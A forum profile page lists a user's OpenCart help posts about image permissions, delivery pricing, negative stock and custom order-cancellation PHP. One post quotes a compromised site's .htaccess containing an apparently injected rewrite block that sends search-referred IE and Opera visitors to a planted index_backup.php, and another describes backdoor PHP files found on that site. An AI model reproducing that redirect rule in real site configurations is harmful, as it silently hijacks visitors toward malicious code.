Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

Doost

Newbie
  
  • Posts

    17
  • Joined

  • Last visited

Doost's Achievements

Apprentice

Apprentice (3/14)

  • First Post
  • Collaborator
  • Conversation Starter
  • Week One Done
  • One Month Later

Recent Badges

1

Reputation

  1. Пару дней назад столкнулись с проблемой: движок (версия 1.5.4.1) при создании файлов в кеше (изображения) прописывает им не те права. что должен бы, а именно: папки создаются с правами доступа 700, а файлы 600 В итоге пользователи не видят картинки. Что было сделано: 1. проверена umask на сервере - никто не менял., 022 стоит. 2. В процедуре сохранения файлов (system/library/image.php/save) было принудительно прописано chmod($file, 644) 3. В процедуре ресайза изображений., где ветка copy аналогично (catalog/controllet/tool/image.php/resize) 4. от бехысходности поставил права на всю папку image 777 Именно эти шаги не помогают. При этом, когда я только сделал шаги 2 и 3 - все заработало. Но сейчас снова не работает. как выглядит: стираешь какой-нибудь файл из кеша, обновляешь страницу с товаром - в кеше файл появился, права 600 Помогает только подключении по ssh и прописывание нужных прав chmod'ом. Что посоветуете? PS системные (system) файлы движка не менялись. Может быть были какие-то изменения в файлах контроллер и админ, но не касающиеся работы с изображением. . И все изменения проверяются. В логе ошибок - проблем именно по этой части нет. PPS что еще важно: файлы в корне сервера (логи работы скриптов, запускаемых через cron) имеют права 644, т.е. ок. аналогично, если создать дирректорию через ssh командой mkdir - права будут в порядке 755 другие файлы, создающиеся через php - права 600 (например у меня создается файл, если были внесены изменения в количество товаров, лог изменений)
  2. я имел ввиду стоимость доставки должна зависеть от того, какой постомат человек выбрал, а не от его геозоны. у пикпоинта областные центры стоят дешевле чем города районного значения. и я не хочу брать с клиентов больше чем доставка мне реально стоит. то есть по факту я бы хотел, чтобы модуль высчитывал точную стоимость доставки пикпоинта (сколько она стоит для продавца) + позволял поставить надбавку к этой стоимости. к примеру: у меня заказ из Надыма и заказ из магадана. Оба горда находятся в одной области, но разница в стоимости для меня будет около 70р за 1 кг веса. ну и геозона определяется адресом покупателя, а не реальным пунктом доставки. корректнее делать наоборот =) кстати сейчас модуль не позволяет даже не предлагать клиенту доставку пикпоинтом, если его города нет в списке доставки. Это неудобно. вообще корректная идеология на мой взгляд выглядит так: 1. узнать город доставки клиента ($address['city']) и рассчитать для этого города базовую стоимость доставки 2. проверить есть ли там постомат 3. если нет - отключить доставку пикпоинтом ($status=false;) 3а. если да - предложить пикпоинт с базовой ценой 4. отправить на страницу выбора постомата (ГДЕ УЖЕ ВЫБРАН ГОРОД ЧЕЛОВЕКА) 5. после выбора постомата, проверить, что стоимость доставки в выбранный постомат равна изначальной базовой стоимости. 6. если не равна - вывести предупредление, что стоимость доставки изменилась (чтобы человек просто был в курсе) на самом деле я на базе Вашего модуля у себя организую подобный функционал. за исключением пункта 5 и 6. пока не могу придумать как это корректно сделать... очень сложный разбор получается возвращаемого результата... но было бы круто иметь это в функционале модуля по умолчанию. кстати, Вам как автору вопрос, можно ли чтобы когда человек переходит на страницу выбора постомата ему открывалась карта с его городом. ?
  3. организовать меняющуюся стоимость доставки в зависимости от постомата реально? скажем стоимость для клиента = стоимость доставки в постомат (она разная у всех) + надбавка надбавка задается в настройках (для регионов или общая на всю систему) PS модуль приобрел все равно.
  4. Вчера столкнулся: пришло 2 заказа, разница по времени менее минуты В обоих заказах был товар, которого осталось в наличии 1 шт. Видимо покупатели положили товары в корзину и пошли оформлять, на подтверждение заказа кликнули почти одновременно. В итоге - товаров в админке стало -1. версия 1.5.4.1 Запрет на заказ, если товара нет в наличии, стоит. 2 вопроса: 1. Как-то исправить в текущей версии можно? (обновляться на 1.5.5.1.1 планирую в новогодние праздники, когда будет время все проверить) 2. в новой версии проблема уже решена? или осталась?
  5. небольшое дополнение, если удалить заказ в статусе "отменен", то система еще раз приплюсует все товары из заказа в каталог. я думаю, что имеет смысл для полноценной реализации добавить проверку статуса заказа в функцию удаления оного. чтобы если статус отменен, то товары не возвращать, т.к. они были возвращены ранее. ну или оставить все как есть и помнить об этом "баге"
  6. деревенское, возможно, решение, но работает =) правим файл /admin/model/sale/order.php добавляем 2 функции (одну для возврата на склад при отмене, другую для вычитания, если вдруг потребуется отмененный заказ вернуть) public function cancelOrder($order_id) { $order_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "order` WHERE order_status_id > '0' AND order_id = '" . (int)$order_id . "'"); if ($order_query->num_rows) { $product_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'"); foreach($product_query->rows as $product) { $this->db->query("UPDATE `" . DB_PREFIX . "product` SET quantity = (quantity + " . (int)$product['quantity'] . ") WHERE product_id = '" . (int)$product['product_id'] . "' AND subtract = '1'"); $option_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_option WHERE order_id = '" . (int)$order_id . "' AND order_product_id = '" . (int)$product['order_product_id'] . "'"); foreach ($option_query->rows as $option) { $this->db->query("UPDATE " . DB_PREFIX . "product_option_value SET quantity = (quantity + " . (int)$product['quantity'] . ") WHERE product_option_value_id = '" . (int)$option['product_option_value_id'] . "' AND subtract = '1'"); } } } } public function uncancelOrder($order_id) { $order_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "order` WHERE order_status_id > '0' AND order_id = '" . (int)$order_id . "'"); if ($order_query->num_rows) { $product_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'"); foreach($product_query->rows as $product) { $this->db->query("UPDATE `" . DB_PREFIX . "product` SET quantity = (quantity - " . (int)$product['quantity'] . ") WHERE product_id = '" . (int)$product['product_id'] . "' AND subtract = '1'"); $option_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_option WHERE order_id = '" . (int)$order_id . "' AND order_product_id = '" . (int)$product['order_product_id'] . "'"); foreach ($option_query->rows as $option) { $this->db->query("UPDATE " . DB_PREFIX . "product_option_value SET quantity = (quantity - " . (int)$product['quantity'] . ") WHERE product_option_value_id = '" . (int)$option['product_option_value_id'] . "' AND subtract = '1'"); } } } } Теперь добавляем вот эти строчки в самое начало (до запроса к БД) функции addOrderHistory $order_info = $this->getOrder($order_id); if($order_info['order_status_id']==7) // order status is canceled { if($data['order_status_id']!=7) // uncancel order { $this->uncancelOrder($order_id); // add products } } else // order is ok { if($data['order_status_id']==7) // canceling { $this->cancelOrder($order_id); // delete products } } число 7 меняем на id статуса "отменено" или аналогичного статуса, который надо обрабатывать подобным образом (аннулировано, отказ и тп) Не проверено, что происходит если у вас есть отмененный заказ, в котором есть товары, которых у вас больше нет, и вы меняете ему статус на "в обработке" или аналогичный... я надеюсь, что отрицательным количество товаров не станет:) но это довольно редкая ситуация и ее обработку делать уже не стал.
  7. если я правильно все понял всему виною код в обрамлении <IfModule> я, признаться, не могу сказать дописывал ли его туда я или он был изначально (мне при установкен попался какой-то левый дистрибутив осстора, о котором тут писали) сейчас этот код убрал, работает. зачем он вообще нужен?
  8. При открытии сайта из гугла в браузере ИЕ или опера (в хроме и фф все нормально) следует ошибка 500 например по вот этой ссылке http://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CCwQFjAA&url=http%3A%2F%2Flakodom.ru%2F&ei=JJHOUZqPDsqM4gTDpYHgAw&usg=AFQjCNGQ5eqlu2ZTnwYKvX9k-3mpxrvNzQ&sig2=FIvlH4FGAlyqA4HSnISUhg&bvm=bv.48572450,d.bGE&cad=rjt связался с хостингом, посмотрели логи, говорят, что проблема в .htaccess если файл просто удалить/переименовать - редирект работает нормально. привожу полный файл здесь, может быть подскажете, что неверно написано? (для краткости комментарии удалены) Options +FollowSymlinks Options -Indexes <FilesMatch "\.(tpl|ini|log)"> Order deny,allow Deny from all </FilesMatch> RewriteEngine On RewriteCond %{HTTP_HOST} ^www.lakodom.ru RewriteRule ^(.*)$ http://lakodom.ru/$1 [R=301,L] RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\ HTTP/ RewriteRule ^index\.html$ / [R=301,L] RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/ RewriteRule ^index\.php$ / [R=301,L] RewriteBase / RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L] RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css) RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA] <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*) RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC] RewriteCond %{REQUEST_FILENAME} !/index_backup.php RewriteRule (.*) /index_backup.php?query=$1 [QSA,L] </IfModule>
  9. купить новый фотоаппарат, а то по этим фотографиям гадание затруднено. Какая еще информация необходима?
  10. Некоторое время тому назад с хостинга прислали письмо следующего содержания: вместе с этим файлом в корне валялись файлы с названиями вида: ejmhsbh.php rmbylaw.php uiqvwcx.php fmeudil.php tpcolyc.php vnlgrym.php Я посмотрел в бекапы - там эти файлы так же присутствовали. Я подумал. что проблема связана с вредоносным кодом, который был внедрен в файл response.php (его я заменил на оригинальный с неделю назад). Файлы удалил, пароли не менял. в тот же момент проверил все файлы на сайте на наличие процедуры base64_decode ничего подозрительного не углядел. Пару дней следил за файлами в корне - ничего левого не появлялось. К слову, когда был левый response.php сайт очень долго грузился, секунд 10 ждал чего-то, потом шустро выплевывал данные. Когда файл заменили - стало все работать хорошо, проблем не было, переадресаций тоже, да и антивирусы вроде не ругались. Сегодня обнаружил опять какой-то левый файл в корне. К сожалению просто удалил, забыл сохранить, тобы показать, но старые файлы остались, ниже исходные коды. Пароль на админку и фтп поменял. Вопросов парочку, очевидных. 1. что это такое? что оно делает? 2. что сделать, чтобы его больше не было =) PS примерно в тоже время ставил vqmod и модуль для поддержки мобильной версии сайта (работает череp vqmod). vqmod и модуль пока не удалял, но в папке xml присутствует только оригинальный vqmod_opencart.xml другие xml переименованы в *.xml_ ejmhsbh.php fmeudil.php rmbylaw.php tpcolyc.php uiqvwcx.php vnlgrym.php index_backup.php
  11. Подскажите, а можно как-то добавить SEO url для категорий и новостей? как я понимаю надо править seo_pro.php о вопрос как править? (да, я согласен, каждый раз при добавлении новости прописывать алиас напрямую в БД, т.к. сам модуль этого не делает)
×
×
  • Create New...

Important Information

On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice.